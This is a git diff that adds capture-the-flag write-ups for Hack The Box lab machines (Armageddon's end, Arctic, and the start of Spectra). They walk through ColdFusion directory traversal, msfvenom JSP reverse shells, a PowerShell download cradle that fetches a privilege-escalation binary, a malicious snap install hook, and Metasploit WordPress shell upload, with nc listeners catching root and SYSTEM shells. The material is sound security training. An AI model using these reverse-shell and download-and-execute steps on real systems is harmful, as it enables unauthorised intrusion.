$(mktemp -d) + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg] + → mkdir meta/hooks/ -p + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg] + → printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg] + → chmod +x meta/hooks/install + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg] + → fpm -n privesc -s dir -t snap -a all meta + Created package {:path=>"privesc_1.0_all.snap"} + + + +Now we upload the malicious privesc snap file to the machine and run it: + + + [term1] + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg] + → ls -lash + total 16K + 4.0K drwx------ 3 nothing nothing 4.0K Aug 9 12:40 . + 4.0K drwxrwxrwt 23 root root 4.0K Aug 9 12:40 .. + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Aug 9 12:40 meta + 4.0K -rw-r--r-- 1 nothing nothing 4.0K Aug 9 12:40 privesc_1.0_all.snap + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg] + → md5sum privesc_1.0_all.snap + 1159d305989905e39a5f9a8e63ba35ed privesc_1.0_all.snap + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term2] + [brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/privesc_1.0_all.snap > /tmp/privesc.snap + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 4096 100 4096 0 0 4446 0 --:--:-- --:--:-- --:--:-- 4452 + [brucetherealadmin@armageddon ~]$ md5sum /tmp/privesc.snap + 1159d305989905e39a5f9a8e63ba35ed /tmp/privesc.snap + + + +both the file hashes match therefore the transfer was successful. Now let's run snap as the root user to make use of the snap package we created: + + + [term 1] + + [brucetherealadmin@armageddon tmp]$ sudo snap install /tmp/privesc.snap --dangerous --devmode + Run install hook of "privesc" snap if present + + [term 2] + + [ 10.10.14.34/23 ] [ /dev/pts/7 ] [/tmp/tmp.uYjIjYciPg] + → nc -lvnp 9001 + Listening on 0.0.0.0 9001 + Connection received on 10.129.48.89 57430 + bash: cannot set terminal process group (18084): Inappropriate ioctl for device + bash: no job control in this shell + bash-4.3# id + id + uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0 + bash-4.3# cat /root/root.txt + cat /root/root.txt + 34XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/59_graph.png) + diff --git a/Easy/6.md b/Easy/6.md new file mode 100644 index 0000000..b666bf5 --- /dev/null +++ b/Easy/6.md @@ -0,0 +1,385 @@ +# Arctic Writeup + +![](img/6.png) + +## Introduction : + +Arctic is an easy Windows box released back in March 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. The additional -Pn tells nmap that to skip the ping probes, because the box could be blocking them and because we know that the box is actually online. + + + **λ nihilist [~/_HTB/Beep] → nmap 10.10.10.11 -sC -sV -Pn** + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-09 21:58 CET + Nmap scan report for 10.10.10.11 + Host is up (0.033s latency). + + PORT STATE SERVICE VERSION + 135/tcp open msrpc Microsoft Windows RPC + 8500/tcp open fmtp? + 49154/tcp open msrpc Microsoft Windows RPC + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 133.85 seconds + + + +We don't get that much to work with, but we will investigate the 8500th port for the next part. + +## **Part 2 : Getting User Access** + +Let's investigate the 8500th port by checking what lies at the following url : http://10.10.10.11:8500/ + +We'll test it by opening up our web browser, and using the curl command. Let's use the following syntax : **curl -vsk http://10.10.10.11:8500** + + + **λ nihilist [ 127.0.0.1 ] [~] → curl --help** + -k, --insecure Allow insecure server connections when using SSL + -s, --silent Silent mode + -v, --verbose Make the operation more talkative + + + + **λ nihilist [ 127.0.0.1 ] [~] → curl -vsk http://10.10.10.11:8500/** + * Trying 10.10.10.11:8500... + * TCP_NODELAY set + * Connected to 10.10.10.11 (10.10.10.11) port 8500 (#0) + > GET / HTTP/1.1 + > Host: 10.10.10.11:8500 + > User-Agent: curl/7.66.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + * HTTP 1.0, assume close after body + < HTTP/1.0 200 OK + < Date: Tue, 12 Nov 2019 17:38:14 GMT + < Content-Type: text/html; charset=utf-8 + < Connection: close + **< Server: JRun Web Server** + < + + [Webpage Sourcecode [...]] + + +Now we know that 10.10.10.11 is running JRun Web Server at the port 8500. let's open it using our web browser to see what we can do there. + +![](prg/6_001.png) ![](prg/6_002.png) ![](prg/6_003.png) + +By opening up the aforementioned URL in our web browser, we navigate to a ColdFusion8 login page through the directories **cfide/administrator**. By doing a quick searchsploit command using the keyword Coldfusion, we see that the service may be vulnerable to Directory Traversal Attacks. + + + **λ nihilist [ 127.0.0.1 ] [~] → searchsploit ColdFusion 8** + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + **Adobe ColdFusion - Directory Traversal (Metasploit) | exploits/multiple/remote/16985.rb** + Adobe ColdFusion 2018 - Arbitrary File Upload | exploits/multiple/webapps/45979.txt + Adobe ColdFusion Server 8.0.1 - '/administrator/enter.cfm' Query String Cr | exploits/cfm/webapps/33170.txt + Adobe ColdFusion Server 8.0.1 - '/wizards/common/_authenticatewizarduser.c | exploits/cfm/webapps/33167.txt + Adobe ColdFusion Server 8.0.1 - '/wizards/common/_logintowizard.cfm' Query | exploits/cfm/webapps/33169.txt + Adobe ColdFusion Server 8.0.1 - 'administrator/logviewer/searchlog.cfm?sta | exploits/cfm/webapps/33168.txt + Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remo | exploits/windows/remote/43993.py + ColdFusion 8.0.1 - Arbitrary File Upload / Execution (Metasploit) | exploits/cfm/webapps/16788.rb + ColdFusion MX - Missing Template Cross-Site Scripting | exploits/cfm/remote/21548.txt + Macromedia ColdFusion MX 6.0 - Remote Development Service File Disclosure | exploits/multiple/remote/22867.pl + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + +By navigating to the exploit n°16985 on exploitdb, we see that we should be able to try a certain URL exploiting Coldfusion's assumed Directory Traversal Vulnerability. The URL to be tried is the following : + + + http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../ColdFusion8/lib/password.properties%00en + + +You can see that this is indeed a Directory Traversal Vulnerability, because it is using the **../** special characters to change directory, going up the directory tree, in order to reach the root **/** directory. The difference with Local File Inclusion vulnerabilities, is that you have to use **../** to go up the directory tree. with LFI you could start with the root folder / and go down from there e.g : **/etc/passwd** The URL ends with a null byte ( **%00**) in order to end the string. For example: myCoolScript.php%00.txt - Meets .txt, but is going to execute .php for that matter, the "en" is there to meet the script's requirement but it ends right before that thanks to the null byte. + +![](prg/6_004.png) + +Although the RFI (Remote File Inclusion) Vulnerability would allow us much more flexibility in terms of exploiting vulnerable targets, they remain very rare, because it is very easy to make sure that there is no http in the include page. + +(Special Thanks to Reelix for the technical details.) + +![](prg/6_005.png) + +The Directory Traversal Vulnerability was successful, now we have a Hash to work with. We will be using the hash-identifier command to identify the hash's encryption algorithm. + + + λ nihilist [ 127.0.0.1 ] [~] → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: **2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03** + + Possible Hashs: + **[+] SHA-1** + [+] MySQL5 - SHA-1(SHA-1($pass)) + + +Paste the Hash into your favorite web-browser along with the SHA-1 keyword, and you should easily find the original "happyday" password. + +![](prg/6_006.png) + +We will now log into the ColdFusion8 Login form using our freshly-acquired credentials **admin:happyday** + +![](prg/6_007.png) + +Once on the coldfusion Dashboard, logged in as admin, we will upload a reverse shell tcp that we will generate using the msfvenom command, naming it as shell.jsp. The Scheduled task will download the shell.jsp payload , so we will need python to run the http server for us within a second terminal. We will upload it as a scheduled task, browse to it within our web browser, and catch the incoming reverse shell connection using the netcat command. + +_Terminal n°1:_ + + + **λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Arctic] → msfvenom -p java/jsp_shell_reverse_tcp \ + > LHOST=10.10.14.48 \ + > LPORT=443 \ + > -f raw > shell.jsp** + Payload size: 1496 bytes + + **λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Arctic] → su** + Password: + + **λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Arctic] → nc -lvnp 443** + + +![](prg/6_008.png) _Terminal n°2:_ + + + **λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Arctic] → python -m http.server 8000** + Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... + 10.10.10.11 - - [11/Nov/2019 13:57:02] "GET /shell.jsp HTTP/1.1" 200 - + + +The box successfully downloaded our shell.jsp ! now we will browse to it , and observe our first terminal receieve the shell connection. + +![](prg/6_010.png) _Terminal n°1:_ + + + **λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Arctic] → nc -lvnp 443** + ls + Connection from 10.10.10.11:54438 + Microsoft Windows [Version 6.1.7600] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + **C:\ColdFusion8\runtime\bin>whoami** + whoami + arctic\tolis + + +We now have a reverse shell, logged as the user tolis, we can now print out the user flag. + + + **C:\ColdFusion8\runtime\bin>more C:\Users\tolis\Desktop\user.txt** + + more C:\Users\tolis\Desktop\user.txt + 02XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Part 3 : Getting Root Access** + +Now we need to escalate privileges onto the box. For that matter we can use a binary named "chimichurri.exe" which takes advantage of the vulnerability MS10-059 available on this machine, we can verify it by typing in the **systeminfo** command + + + **C:\ColdFusion8\runtime\bin>systeminfo** + systeminfo + + Host Name: ARCTIC + **OS Name: Microsoft Windows Server 2008 R2 Standard** + OS Version: 6.1.7600 N/A Build 7600 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Server + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 55041-507-9857321-84451 + Original Install Date: 22/3/2017, 11:09:45 �� + System Boot Time: 12/11/2019, 1:11:38 �� + System Manufacturer: VMware, Inc. + System Model: VMware Virtual Platform + System Type: x64-based PC + Processor(s): 2 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: el;Greek + Input Locale: en-us;English (United States) + Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul + Total Physical Memory: 1.023 MB + Available Physical Memory: 370 MB + Virtual Memory: Max Size: 2.047 MB + Virtual Memory: Available: 1.281 MB + Virtual Memory: In Use: 766 MB + Page File Location(s): C:\pagefile.sys + Domain: HTB + Logon Server: N/A + **Hotfix(s): N/A** + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.11 + + +We see that this machine is vulnerable to the aforementionned binary exploit, because : -it is running Microsoft Windows Server 2008 R2 -There are no Hotfixes installed on the machine. + +The lack of Hotfixes indicates a serious lack of security, which would allow an attacker (us) to escalate priveleges on the machine. + +As it is detailed in this [bulletin report](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-059), the hotfix KB982799 is required to fix the MS10-059 vulnerability + +To be able to get chimmichurri.exe on this machine, we will need to write a ps1 script that will download the binary on our machine, serving a simple http server with python. to be able to execute our privesc binary we first need to check if we can write .ps1 files on the machine. + + + **C:\ColdFusion8\runtime\bin>echo test >> xd.ps1** + echo test >> xd.ps1 + + C:\ColdFusion8\runtime\bin>more xd.ps1 + more xd.ps1 + test + + +We have been able to put the line "test" into our ps1 file named xd. + +Now we will make a file named wget.ps1 that will contain the lines required to download chimmichurri.exe from 10.10.14.48 (our local machine). + +_Terminal 1:_ + + + **C:\ColdFusion8\runtime\bin>echo $webclient = New-Object System.Net.WebClient >> wget.ps1** + echo $webclient = New-Object System.Net.WebClient >> wget.ps1 + + **C:\ColdFusion8\runtime\bin>dir** + dir + Volume in drive C has no label. + Volume Serial Number is F88F-4EA5 + + Directory of C:\ColdFusion8\runtime\bin + + 12/11/2019 11:22 �� **IR> . + 12/11/2019 11:22 �� **IR> .. + 18/03/2008 11:11 �� 64.512 java2wsdl.exe + 19/01/2008 09:59 �� 2.629.632 jikes.exe + 18/03/2008 11:11 �� 64.512 jrun.exe + 18/03/2008 11:11 �� 71.680 jrunsvc.exe + 18/03/2008 11:11 �� 5.120 jrunsvcmsg.dll + 18/03/2008 11:11 �� 64.512 jspc.exe + 22/03/2017 08:53 �� 1.804 jvm.config + 18/03/2008 11:11 �� 64.512 migrate.exe + 18/03/2008 11:11 �� 34.816 portscan.dll + 18/03/2008 11:11 �� 64.512 sniffer.exe + 12/11/2019 11:22 �� 47 wget.ps1 + 18/03/2008 11:11 �� 78.848 WindowsLogin.dll + 18/03/2008 11:11 �� 64.512 wsconfig.exe + 22/03/2017 08:53 �� 1.013 wsconfig_jvm.config + 18/03/2008 11:11 �� 64.512 wsdl2java.exe + 12/11/2019 11:18 �� 7 xd.ps1 + 18/03/2008 11:11 �� 64.512 xmlscript.exe + 17 File(s) 3.339.063 bytes + 2 Dir(s) 33.189.847.040 bytes free + + **C:\ColdFusion8\runtime\bin>more wget.ps1** + more wget.ps1 + $webclient = New-Object System.Net.WebClient + + **C:\ColdFusion8\runtime\bin>echo $url = "http://10.10.14.48:8000/ChimiChurri.exe" >> wget.ps1** + echo $url = "http://10.10.14.48:8000/ChimiChurri.exe" >> wget.ps1 + + **C:\ColdFusion8\runtime\bin>more wget.ps1** + more wget.ps1 + $webclient = New-Object System.Net.WebClient + $url = "http://10.10.14.48:8000/ChimiChurri.exe" + + **C:\ColdFusion8\runtime\bin>echo $file = "exploit.exe" >> wget.ps1** + echo $file = "exploit.exe" >> wget.ps1 + + **C:\ColdFusion8\runtime\bin>echo $webclient.DownloadFile($url,$file) >> wget.ps1** + echo $webclient.DownloadFile($url,$file) >> wget.ps1 + + + + **C:\ColdFusion8\runtime\bin>more wget.ps1** + more wget.ps1 + $webclient = New-Object System.Net.WebClient + $url = "http://10.10.14.48:8000/ChimiChurri.exe" + $file = "exploit.exe" + $webclient.DownloadFile($url,$file) + + + + **C:\ColdFusion8\runtime\bin>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1** + powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 + ^CExiting. + + **λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Arctic] → nc -lvnp 443** + Connection from 10.10.10.11:54538 + Microsoft Windows [Version 6.1.7600] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + **C:\ColdFusion8\runtime\bin>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1** + powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 + + + +_Terminal 2:_ + + + **λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Arctic] → python -m http.server 8000** + Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... + 10.10.10.11 - - [11/Nov/2019 14:25:32] "GET /shell.jsp HTTP/1.1" 200 - + 10.10.10.11 - - [11/Nov/2019 14:26:37] "GET /ChimiChurri.exe HTTP/1.1" 200 - + + +The download has been successful ! Now all that we need to do is launch exploit.exe and recieve the elevated privilege reverse shell to our third terminal with the netcat command. + +_Terminal 1:_ + + + **C:\ColdFusion8\runtime\bin>exploit.exe 10.10.14.48 9001** + exploit.exe 10.10.14.48 9001 + /Chimichurri/-->This exploit gives you a Local System shell + /Chimichurri/-->Changing registry values... + /Chimichurri/-->Got SYSTEM token... + /Chimichurri/-->Running reverse shell... + /Chimichurri/-->Restoring default registry values... + + + +_Terminal 3:_ + + + **λ nihilist [ 10.10.14.48/23 ] [~] → nc -lvnp 9001** + whoami + Connection from 10.10.10.11:54563 + Microsoft Windows [Version 6.1.7600] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + **C:\ColdFusion8\runtime\bin>whoami** + nt authority\system + + **C:\ColdFusion8\runtime\bin>more C:\Users\Administrator\Desktop\root.txt** + more C:\Users\Administrator\Desktop\root.txt + ceXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/6_graph.png) + diff --git a/Easy/60.md b/Easy/60.md new file mode 100644 index 0000000..13415d9 --- /dev/null +++ b/Easy/60.md @@ -0,0 +1,527 @@ +# Spectra Writeup + +![](img/60.png) + +## Introduction : + +Spectra is an easy box released back in Febuary 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra] + → nmap -vvv -p- 10.129.186.23 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.129.186.23 + Discovered open port 3306/tcp on 10.129.186.23 + Discovered open port 80/tcp on 10.129.186.23 + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra] + → nmap -sCV -p 22,80,3306 10.129.186.23 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 13:20 CEST + Nmap scan report for 10.129.186.23 + Host is up (0.45s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) + | ssh-hostkey: + |_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA) + 80/tcp open http nginx 1.17.4 + |_http-server-header: nginx/1.17.4 + |_http-title: Site doesn't have a title (text/html). + 3306/tcp open mysql MySQL (unauthorized) + |_ssl-cert: ERROR: Script execution failed (use -d to debug) + |_ssl-date: ERROR: Script execution failed (use -d to debug) + |_sslv2: ERROR: Script execution failed (use -d to debug) + |_tls-alpn: ERROR: Script execution failed (use -d to debug) + |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 50.62 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/60_001.png) + +We press **CTRL+U** to view the page sourcecode: + +![](prg/60_002.png) + +Which reveals us the **spectra.htb** hostname, so we add it to our hostfile: + + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.129.186.23 spectra.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 spectra.htb + PING spectra.htb (10.129.186.23) 56(84) bytes of data. + 64 bytes from spectra.htb (10.129.186.23): icmp_seq=1 ttl=63 time=449 ms + + --- spectra.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 449.174/449.174/449.174/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + + +Once that's done, we can visit first visit **http://spectra.htb/main/index.php** : + +![](prg/60_003.png) + +So here we have a wordpress site, the other link gives a database connection error: + +![](prg/60_004.png) + +The error doesn't give us any info, therefore we move on to scanning the wordpress website: + + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra] + → wpscan --url http://spectra.htb/main/ + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.8.18 + + @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart + _______________________________________________________________ + + [i] Updating the Database ... + [i] Update completed. + + [+] URL: http://spectra.htb/main/ [10.129.186.23] + [+] Started: Mon Aug 9 13:48:33 2021 + + Interesting Finding(s): + + [+] Headers + | Interesting Entries: + | - Server: nginx/1.17.4 + | - X-Powered-By: PHP/5.6.40 + | Found By: Headers (Passive Detection) + | Confidence: 100% + + [+] XML-RPC seems to be enabled: http://spectra.htb/main/xmlrpc.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + | References: + | - http://codex.wordpress.org/XML-RPC_Pingback_API + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ + | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ + + [+] WordPress readme found: http://spectra.htb/main/readme.html + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + + [+] The external WP-Cron seems to be enabled: http://spectra.htb/main/wp-cron.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 60% + | References: + | - https://www.iplocation.net/defend-wordpress-from-ddos + | - https://github.com/wpscanteam/wpscan/issues/1299 + + [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10). + | Found By: Rss Generator (Passive Detection) + | - http://spectra.htb/main/?feed=rss2, generator>https://wordpress.org/?v=5.4.2 generator> + | - http://spectra.htb/main/?feed=comments-rss2, generator>https://wordpress.org/?v=5.4.2 generator> + + [+] WordPress theme in use: twentytwenty + | Location: http://spectra.htb/main/wp-content/themes/twentytwenty/ + | Last Updated: 2021-07-22T00:00:00.000Z + | Readme: http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt + | [!] The version is out of date, the latest version is 1.8 + | Style URL: http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2 + | Style Name: Twenty Twenty + | Style URI: https://wordpress.org/themes/twentytwenty/ + | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor... + | Author: the WordPress team + | Author URI: https://wordpress.org/ + | + | Found By: Css Style In Homepage (Passive Detection) + | + | Version: 1.2 (80% confidence) + | Found By: Style (Passive Detection) + | - http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2' + + [+] Enumerating All Plugins (via Passive Methods) + + [i] No plugins Found. + + [+] Enumerating Config Backups (via Passive and Aggressive Methods) + Checking Config Backups - Time: 00:00:15 + [i] No Config Backups Found. + + [!] No WPScan API Token given, as a result vulnerability data has not been output. + [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register + + [+] Finished: Mon Aug 9 13:49:12 2021 + [+] Requests Done: 186 + [+] Cached Requests: 5 + [+] Data Sent: 46.09 KB + [+] Data Received: 17.279 MB + [+] Memory used: 220.246 MB + [+] Elapsed time: 00:00:38 + + + +Nothing too interesting in here, the intended path was to dirbust the /testing/ directory or just browsing it since it has nginx's autoindexing enabled: + +![](prg/60_005.png) + +The interesting file here is **wp-config.php.save** : + +![](prg/60_006.png) + +Now here it looks like we have credentials to use. But where ? Let's first try **/main/wp-admin/** the default admin username being **administrator** : + +![](prg/60_007.png) ![](prg/60_008.png) + +And we are logged in as the administrator user! First thing we can do here is get a reverse shell by injecting the appearance php code of the wordpress website with a reverse shell: + +![](prg/60_009.png) + +However the website is way too unresponsive for us to be able to do that, so instead we're going to use metasploit: + + + + [ 10.10.14.34/23 ] [ /dev/pts/23 ] [~/HTB/Spectra] + → msfconsole + ..- + ######## # + ################# # + ###################### # + ######################### # + ############################ + ############################## + ############################### + ############################### + ############################## + # ######## # + ## ### #### ## + ### ### + #### ### + #### ########## #### + ####################### #### + #################### #### + ################## #### + ############ ## + ######## ### + ######### ##### + ############ ###### + ######## ######### + ##### ######## + ### ######### + ###### ############ + ####################### + # # ### # # ## + ######################## + ## ## ## ## + https://metasploit.com + + + =[ metasploit v6.0.53-dev ] + + -- --=[ 2149 exploits - 1143 auxiliary - 366 post ] + + -- --=[ 592 payloads - 45 encoders - 10 nops ] + + -- --=[ 8 evasion ] + + Metasploit tip: Start commands with a space to avoid saving + them to history + + msf6 > use unix/webapp/wp_admin_shell_upload + [*] No payload configured, defaulting to php/meterpreter/reverse_tcp + msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options + + Module options (exploit/unix/webapp/wp_admin_shell_upload): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD yes The WordPress password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to the wordpress application + USERNAME yes The WordPress username to authenticate with + VHOST no HTTP server virtual host + + + Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.66.66.2 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 WordPress + + + msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 10.129.186.23 + RHOSTS => 10.129.186.23 + msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /main/ + TARGETURI => /main/ + msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME administrator + USERNAME => administrator + msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD devteam01 + PASSWORD => devteam01 + msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST spectra.htb + VHOST => spectra.htb + + msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST tun0 + LHOST => tun0 + + msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit + + + + + msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit + + [*] Started reverse TCP handler on 10.10.14.34:4444 + [*] Authenticating with WordPress using administrator:devteam01... + [+] Authenticated with WordPress + [*] Preparing payload... + [*] Uploading payload... + [*] Executing the payload at /main/wp-content/plugins/UtPzwuowWY/DRoQRuMWzs.php... + [*] Sending stage (39282 bytes) to 10.129.186.23 + [+] Deleted DRoQRuMWzs.php + [+] Deleted UtPzwuowWY.php + [+] Deleted ../UtPzwuowWY + [*] Meterpreter session 1 opened (10.10.14.34:4444 -> 10.129.186.23:40514) at 2021-08-09 15:07:29 +0200 + + meterpreter > shell + Process 11921 created. + Channel 0 created. + sh: 0: getcwd() failed: No such file or directory + sh: 0: getcwd() failed: No such file or directory + id + uid=20155(nginx) gid=20156(nginx) groups=20156(nginx) + + echo $0 + bash + + +So here we managed to get a bash shell onto the box, however it is very limited, so we upgrade it like so: + + + export PATH + export PATH + export TERM=xterm + export TERM=xterm + which python3 + which python3 + /usr/local/bin/python3 + python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + nginx@spectra / $ cd ~ + cd ~ + nginx@spectra ~ $ ls -lash + ls -lash + total 32K + 4.0K drwxr-xr-x 5 nginx nginx 4.0K Feb 4 2021 . + 4.0K drwxr-xr-x 8 root root 4.0K Feb 2 2021 .. + 0 lrwxrwxrwx 1 root root 9 Feb 4 2021 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 nginx nginx 127 Dec 22 2020 .bash_logout + 4.0K -rw-r--r-- 1 nginx nginx 204 Dec 22 2020 .bash_profile + 4.0K -rw-r--r-- 1 nginx nginx 551 Dec 22 2020 .bashrc + 4.0K drwx------ 3 nginx nginx 4.0K Jan 15 2021 .pki + 4.0K drwx------ 2 nginx nginx 4.0K Jan 15 2021 .ssh + 4.0K drwxr-xr-x 2 nginx nginx 4.0K Jan 15 2021 log + + + +Now from here we need to take a look at which user has the user flag: + + + nginx@spectra ~ $ ls -lash /home + ls -lash /home + total 32K + 4.0K drwxr-xr-x 8 root root 4.0K Feb 2 2021 . + 4.0K drwxr-xr-x 22 root root 4.0K Feb 2 2021 .. + 4.0K drwx------ 4 root root 4.0K Jul 20 2020 .shadow + 4.0K drwxr-xr-x 20 chronos chronos 4.0K Aug 9 04:15 chronos + 4.0K drwxr-xr-x 5 katie katie 4.0K Feb 2 2021 katie + 4.0K drwxr-xr-x 5 nginx nginx 4.0K Feb 4 2021 nginx + 4.0K drwxr-x--t 4 root root 4.0K Jul 20 